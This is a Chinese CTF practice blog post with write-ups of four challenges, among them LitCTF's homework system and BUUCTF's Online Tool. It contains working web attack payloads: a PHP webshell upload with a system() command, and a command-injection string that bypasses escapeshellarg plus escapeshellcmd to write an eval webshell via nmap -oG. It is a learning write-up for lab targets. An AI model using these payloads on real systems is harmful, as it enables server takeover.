ctf刷题记录4


image.png

[LitCTF 2023]作业管理系统

交作业!!但是哪里不对?
出题人 探姬

第一眼 登陆框 必然是试一试 弱口令
image.png

可以看到包是admin:admin的啊,之后在源代码也看到了 一个 admin admin 猜想没错
进入之后 很多功能点啊

直接文件上传 php木马 没想到这么简单
image.png

payloads
1
2
3
post参数
cmd=system('cat /flag*');

[BJDCTF2020]认真你就输了

拿到了一个xls,一般这种办公软件里面第一步就是查一些字符串

image.png
果然第一条就看到一个flag.txt,同时我们知道其实这种xls的文件基本都是一些zip压缩包格式
你打开文件格式看看也会发现他就是个zip文件格式,修改成zip后缀之后就可以根据目录找到flag
image.png

[MRCTF2020]ezmisc

直接修改宽高,将高拉长
image.png

image.png

[BUUCTF 2018]Online Tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php  

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {   
highlight_file(__FILE__);
else
{   
$host $_GET['host'];   
$host escapeshellarg($host);   
$host escapeshellcmd($host);  
$sandbox md5("glzjin"$_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
```text
单引号 ('):转义为 \'。
双引号 ("):转义为 \"。
反斜杠 (\):转义为 \\。
美元符号 ($):转义为 \$。
反引号 (`):转义为 ``````。
感叹号 (!):转义为 \!。
分号 (;):转义为 \;。
大于号 (>):转义为 \>。
小于号 (<):转义为 \<。
垂直线 (|):转义为 \|。
与号 (&):转义为 \&。
空格 ( ):转义为 \ 。

传入的参数是:172.17.0.2' -v -d a=1

经过escapeshellarg处理后变成了
'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
1
2
3
4
5
6
isset($_SERVER['HTTP_X_FORWARDED_FOR'])`**:

- 检查是否存在HTTP请求头`X-Forwarded-For`。这个头部通常由代理服务器添加,用于标识客户端的原始IP地址。
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];

- 如果`X-Forwarded-For`存在,则将`$_SERVER['REMOTE_ADDR']`设置为其值。通常,`$_SERVER['REMOTE_ADDR']`包含直接连接到服务器的IP地址,而不是原始客户端的IP地址。

通常在代理服务器上使用xff

这道题其实这个xff没有用,最主要还是两个php转义函数的绕过,但是问题就出现在
system函数里拼接了nmap的指令字符串。nmap中的-oG参数可以将代码与命令写到文件中,比如nmap -oG 1.php从而像一个文件包含的日志注入一样

PAYLOADS

1
2
?host='127.0.0.1 <?php eval($_POST["cmd"]);?> -oG 1.php '

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
如果我们直接传入这个,只会被当成字符串无法写入马
那么我们在传入参数的前面添加单引号,后面空格加单引号

'127.0.0.1 <?php @eval();?> -oG hack.php '

传进去后变成

''127.0.0.1 <?php @eval();?> -oG hack.php ''

经过escapeshellarg函数处理

'\'127.0.0.1 <?php @eval();?> -oG hack.php \''
//在转义的单引号左右添加单引号
''\''127.0.0.1 <?php @eval();?> -oG hack.php '\'''

经过escapeshellcmd函数处理

''\\''127.0.0.1 <?php @eval();?> -oG hack.php '\\'''

执行结果会对目标\127.0.0.1发送命令<?php @eval();?> -oG hack.php \写入文件

注意最后的空格,不然后缀可能发生变化。


文章作者: K1T0
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 K1T0 !
  目录